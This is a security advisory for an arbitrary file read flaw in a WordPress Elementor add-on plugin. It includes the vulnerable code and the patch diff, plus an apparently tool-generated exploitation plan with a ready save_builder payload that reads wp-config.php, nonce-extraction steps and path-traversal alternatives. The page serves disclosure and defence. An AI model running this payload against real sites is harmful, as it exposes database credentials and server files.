Royal Addons for Elementor – Addons and Templates Kit for Elementor 1.7.1058 - 1.7.1059 - Authenticated (Contributor+) Arbitrary File Read via Data Table Widget CSV File Source
Description
The Royal Addons for Elementor – Addons and Templates Kit for Elementor plugin for WordPress is vulnerable to Arbitrary File Read in versions 1.7.1058 through 1.7.1059. This is due to the wpr_get_csv_handle() helper (introduced in version 1.7.1058 as part of the patch for CVE-2026-6229) falling back to is_readable() and fopen($source, 'r') on the attacker-controlled settings.table_upload_csv.url value when it does not parse as an HTTP URL, with no allow-list, traversal block, or extension check. This makes it possible for authenticated attackers, with Contributor-level access and above, to save a crafted wpr-data-table widget through Elementor's save_builder endpoint and have the rendered preview return the line-by-line contents of any file readable by the PHP process, including wp-config.php.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
>=1.7.1058 <=1.7.1059What Changed in the Fix
Changes introduced in v1.7.1060
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-8118 ## 1. Vulnerability Summary **CVE-2026-8118** is an **Authenticated (Contributor+) Arbitrary File Read** vulnerability in the Royal Addons for Elementor plugin (versions 1.7.1058 - 1.7.1059). The vulnerability exists within the `Data Table` widget's CSV p…
Show full research plan
Exploitation Research Plan: CVE-2026-8118
1. Vulnerability Summary
CVE-2026-8118 is an Authenticated (Contributor+) Arbitrary File Read vulnerability in the Royal Addons for Elementor plugin (versions 1.7.1058 - 1.7.1059). The vulnerability exists within the Data Table widget's CSV processing logic. Specifically, the helper function wpr_get_csv_handle() (introduced as a partial fix for a previous SSRF/LFI) fails to properly validate the table_upload_csv URL setting. When the provided string does not resolve as a standard HTTP URL, the function falls back to opening it as a local file using fopen(). Because there are no path traversal filters or allow-lists, a user with Contributor-level access can specify sensitive local files (e.g., wp-config.php), which are then parsed and rendered as table data in the Elementor preview or the published post.
2. Attack Vector Analysis
- Target Endpoint:
wp-admin/admin-ajax.php(Action:elementor_ajax) or the REST API equivalentwp-json/elementor/v1/editor/save_builder. - Vulnerable Widget:
wpr-data-table - Trigger Parameter:
settings.table_upload_csv.url - Authentication: Authenticated (Contributor or higher). Contributors can create posts and edit them with Elementor.
- Preconditions: The Royal Addons for Elementor plugin must be active, and the user must have access to the Elementor editor.
3. Code Flow
- Entry Point: An authenticated user saves an Elementor post containing the
wpr-data-tablewidget. - Configuration: The user sets
choose_table_typetopro-cv(defined inWpr_Data_Table::add_control_choose_table_type()). - Data Persistence: The malicious path (e.g.,
/etc/passwd) is saved in thetable_upload_csvcontrol'surlproperty. - Rendering (Sink): When the widget is rendered (either in the editor preview or front-end), the
render()method inmodules/data-table/widgets/wpr-data-table.phpis executed. - Vulnerable Call: The code calls
wpr_get_csv_handle($settings['table_upload_csv']['url']). - The Flaw:
- The function checks if the URL is valid.
- If the URL is a local path,
wp_remote_get()fails. - The code falls back:
if ( is_readable( $source ) ) { $handle = fopen( $source, 'r' ); }.
- Output: The content of the file handle is iterated line-by-line, split by commas, and wrapped in
<td>tags, returning the file contents to the user's browser.
4. Nonce Acquisition Strategy
To save the widget configuration, the Elementor save_builder action requires a valid WordPress nonce.
- Identify Shortcode: The plugin uses
wpr-data-table. - Setup: Create a dummy post to access the editor.
wp post create --post_type=post --post_title="Exploit Research" --post_status=publish --post_author=[CONTRIBUTOR_ID] - Navigate: Use
browser_navigateto the Elementor editor for that post ID:wp-admin/post.php?post=[ID]&action=elementor. - Extract Nonce: Use
browser_evalto extract the required nonces from the Elementor configuration object.- Action Nonce:
browser_eval("window.elementorConfig.nonces.save_builder") - Editor Nonce:
browser_eval("window.elementorConfig.nonces.elementor_ajax")(if using admin-ajax).
- Action Nonce:
5. Exploitation Strategy
The goal is to update a post's Elementor data to include a wpr-data-table widget that points to wp-config.php.
Step 1: Save the Malicious Widget
Send a POST request to admin-ajax.php to update the post content.
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload:
action=elementor_ajax &_nonce=[ELEMENTOR_AJAX_NONCE] &actions={ "save_builder": { "action": "save_builder", "data": { "status": "publish", "elements": [ { "id": "exploit-widget-id", "elType": "widget", "widgetType": "wpr-data-table", "settings": { "choose_table_type": "pro-cv", "table_upload_csv": { "url": "/var/www/html/wp-config.php" } } } ] } } } &post_id=[POST_ID]
Step 2: Retrieve the Data
View the post or the Elementor preview to see the rendered table.
- URL:
http://[target]/?p=[POST_ID] - Action: Search the HTML response for strings like
define(orDB_PASSWORDinside<td>or<tr>elements associated with thewpr-data-tableCSS classes.
6. Test Data Setup
- User: A user with the
contributorrole. - Target File: Ensure
wp-config.phpexists in the standard location or use/etc/passwdfor general verification. - Plugin Version: Ensure version
1.7.1059is installed.
7. Expected Results
- The HTTP request in Step 1 should return a JSON success message:
{"success":true,"data":...}. - The front-end view of the post will display a table where each row corresponds to a line in
wp-config.php. - Example output in HTML:
<td class="wpr-data-table-column">define('DB_PASSWORD'</td> <td class="wpr-data-table-column"> 'your_password');</td>
8. Verification Steps
After the exploit, verify the file read via WP-CLI to confirm the path was successfully injected into the post meta:
wp post get [POST_ID] --field=content
# Look for the JSON-encoded Elementor data containing the path
9. Alternative Approaches
- Path Traversal: If the absolute path is blocked, try relative paths:
../../../../wp-config.php. - REST API: Instead of
admin-ajax.php, use thewp-json/elementor/v1/editor/save_builderendpoint, which typically uses theX-WP-Nonceheader. - Preview Mode: Instead of publishing, use the
elementor_render_widgetaction to trigger the file read without modifying the public-facing post content.
Summary
The Royal Addons for Elementor plugin is vulnerable to an authenticated arbitrary file read via the Data Table widget in versions 1.7.1058 to 1.7.1059. The `wpr_get_csv_handle()` function fails to restrict CSV source paths to the WordPress uploads directory, allowing attackers with Contributor-level access to read sensitive local files like wp-config.php by specifying their paths in the widget settings.
Vulnerable Code
// modules/data-table/widgets/wpr-data-table.php (lines 2010-2022 in v1.7.1059) protected function wpr_get_csv_handle( $source ) { // ... (remote handling logic) ... if ( ! is_readable( $source ) ) { return new \WP_Error( 'wpr_csv_local_not_readable', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) ); } $handle = fopen( $source, 'r' ); if ( false === $handle ) { return new \WP_Error( 'wpr_csv_local_open_failed', esc_html__( 'Could not open the CSV file.', 'wpr-addons' ) ); } return $handle; }
Security Fix
@@ -126,11 +126,14 @@ $template_slug = WPR_Conditions_Manager::header_footer_display_conditions($conditions); $template_id = Utilities::get_template_id($template_slug); + $show_on_canvas = get_post_meta($template_id, 'wpr_header_show_on_canvas', true); + if ( defined('ICL_LANGUAGE_CODE') ) { $default_language_code = apply_filters('wpml_default_language', null); $current_language_code = apply_filters('wpml_current_language', null); if ( $current_language_code && $current_language_code !== $default_language_code ) { + $show_on_canvas = 'true'; $translated_id = apply_filters('wpml_object_id', $template_id, 'wpr_templates', true, $current_language_code); if ( $translated_id && (int) $translated_id !== (int) $template_id ) { $template_id = $translated_id; @@ -138,8 +141,6 @@ } } - $show_on_canvas = get_post_meta($template_id, 'wpr_header_show_on_canvas', true); - // if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && 0 === strpos($template_slug, 'user-header-') ) { if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && !is_null($template_slug) ) { Utilities::render_elementor_template($template_slug, $template_id); @@ -175,11 +176,14 @@ $template_slug = WPR_Conditions_Manager::header_footer_display_conditions($conditions); $template_id = Utilities::get_template_id($template_slug); + $show_on_canvas = get_post_meta($template_id, 'wpr_footer_show_on_canvas', true); + if ( defined('ICL_LANGUAGE_CODE') ) { $default_language_code = apply_filters('wpml_default_language', null); $current_language_code = apply_filters('wpml_current_language', null); if ( $current_language_code && $current_language_code !== $default_language_code ) { + $show_on_canvas = 'true'; $translated_id = apply_filters('wpml_object_id', $template_id, 'wpr_templates', true, $current_language_code); if ( $translated_id && (int) $translated_id !== (int) $template_id ) { $template_id = $translated_id; @@ -187,8 +191,6 @@ } } - $show_on_canvas = get_post_meta($template_id, 'wpr_footer_show_on_canvas', true); - // if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && 0 === strpos($template_slug, 'user-footer-') ) { if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && !is_null($template_slug) ) { Utilities::render_elementor_template($template_slug, $template_id); @@ -1834,6 +1834,17 @@ } $url = $validated_url; + } else { + $validated_upload_url = $this->wpr_validate_uploaded_csv_url( + isset( $settings['table_upload_csv'] ) ? $settings['table_upload_csv'] : [] + ); + + if ( is_wp_error( $validated_upload_url ) ) { + echo '<p class="wpr-no-csv-file-found">' . esc_html( $validated_upload_url->get_error_message() ) . '</p>'; + return \ob_get_clean(); + } + + $url = $validated_upload_url; } if ( ! empty( $url ) ) { @@ -2010,11 +2021,34 @@ return $handle; } - if ( ! is_readable( $source ) ) { - return new \WP_Error( 'wpr_csv_local_not_readable', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) ); + $canonical_source = realpath( $source ); + if ( false === $canonical_source ) { + return new \WP_Error( 'wpr_csv_local_invalid_path', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) ); + } + + $uploads = wp_upload_dir(); + $uploads_base = isset( $uploads['basedir'] ) ? realpath( $uploads['basedir'] ) : false; + if ( false === $uploads_base ) { + return new \WP_Error( 'wpr_csv_uploads_missing', esc_html__( 'Could not validate the CSV upload directory.', 'wpr-addons' ) ); } - $handle = fopen( $source, 'r' ); + $normalized_source = wp_normalize_path( $canonical_source ); + $normalized_uploads_base = trailingslashit( wp_normalize_path( $uploads_base ) ); + if ( 0 !== strpos( $normalized_source, $normalized_uploads_base ) ) { + return new \WP_Error( 'wpr_csv_local_outside_uploads', esc_html__( 'CSV file must be located in the uploads directory.', 'wpr-addons' ) ); + } + + $sanitized_filename = sanitize_file_name( wp_basename( $normalized_source ) ); + $file_extension = strtolower( pathinfo( $sanitized_filename, PATHINFO_EXTENSION ) ); + if ( 'csv' !== $file_extension ) { + return new \WP_Error( 'wpr_csv_local_invalid_extension', esc_html__( 'Only CSV files are allowed.', 'wpr-addons' ) ); + } + + if ( ! is_readable( $canonical_source ) ) { + return new \WP_Error( 'wpr_csv_local_not_readable', esc_html__( 'Could not read the CSV file.', 'wpr-addons' ) ); + } + + $handle = fopen( $canonical_source, 'r' ); if ( false === $handle ) { return new \WP_Error( 'wpr_csv_local_open_failed', esc_html__( 'Could not open the CSV file.', 'wpr-addons' ) ); } @@ -2022,6 +2056,47 @@ return $handle; } + protected function wpr_validate_uploaded_csv_url( $media_setting ) { + if ( ! is_array( $media_setting ) ) { + return new \WP_Error( 'wpr_csv_invalid_upload', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) ); + } + + $attachment_id = isset( $media_setting['id'] ) ? absint( $media_setting['id'] ) : 0; + if ( $attachment_id <= 0 ) { + return new \WP_Error( 'wpr_csv_missing_attachment', esc_html__( 'Please select a CSV file from the media library.', 'wpr-addons' ) ); + } + + $attachment_file = get_attached_file( $attachment_id ); + if ( ! is_string( $attachment_file ) || '' === trim( $attachment_file ) ) { + return new \WP_Error( 'wpr_csv_invalid_attachment', esc_html__( 'Please select a valid CSV file from the media library.', 'wpr-addons' ) ); + } + + $canonical_attachment_path = realpath( $attachment_file ); + if ( false === $canonical_attachment_path ) { + return new \WP_Error( 'wpr_csv_invalid_attachment_path', esc_html__( 'Could not resolve the selected CSV file.', 'wpr-addons' ) ); + } + + $uploads = wp_upload_dir(); + $uploads_base = isset( $uploads['basedir'] ) ? realpath( $uploads['basedir'] ) : false; + if ( false === $uploads_base ) { + return new \WP_Error( 'wpr_csv_uploads_missing', esc_html__( 'Could not validate the CSV upload directory.', 'wpr-addons' ) ); + } + + $normalized_attachment_path = wp_normalize_path( $canonical_attachment_path ); + $normalized_uploads_base = trailingslashit( wp_normalize_path( $uploads_base ) ); + if ( 0 !== strpos( $normalized_attachment_path, $normalized_uploads_base ) ) { + return new \WP_Error( 'wpr_csv_attachment_outside_uploads', esc_html__( 'The selected file must be located in the uploads directory.', 'wpr-addons' ) ); + } + + $sanitized_filename = sanitize_file_name( wp_basename( $normalized_attachment_path ) ); + $file_extension = strtolower( pathinfo( $sanitized_filename, PATHINFO_EXTENSION ) ); + if ( 'csv' !== $file_extension ) { + return new \WP_Error( 'wpr_csv_invalid_upload_extension', esc_html__( 'Only CSV files are allowed.', 'wpr-addons' ) ); + } + + return $canonical_attachment_path; + } + protected function wpr_validate_remote_csv_url( $url ) { if ( ! is_string( $url ) || '' === trim( $url ) ) { return new \WP_Error( 'wpr_csv_missing_url', esc_html__( 'Please provide a CSV URL.', 'wpr-addons' ) );
Exploit Outline
An attacker with Contributor-level privileges can exploit this by creating or editing a post using the Elementor editor. They must add a 'Data Table' widget (`wpr-data-table`) and set the `choose_table_type` setting to `pro-cv`. By crafting a payload for the `table_upload_csv.url` parameter that points to a sensitive local file (e.g., `/etc/passwd` or `../../wp-config.php`), the attacker can save the post via Elementor's `save_builder` endpoint. When the widget is rendered in the post preview or on the front-end, the plugin uses `fopen()` to read the specified file and displays its contents within the table's cells, effectively leaking the file's data to the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.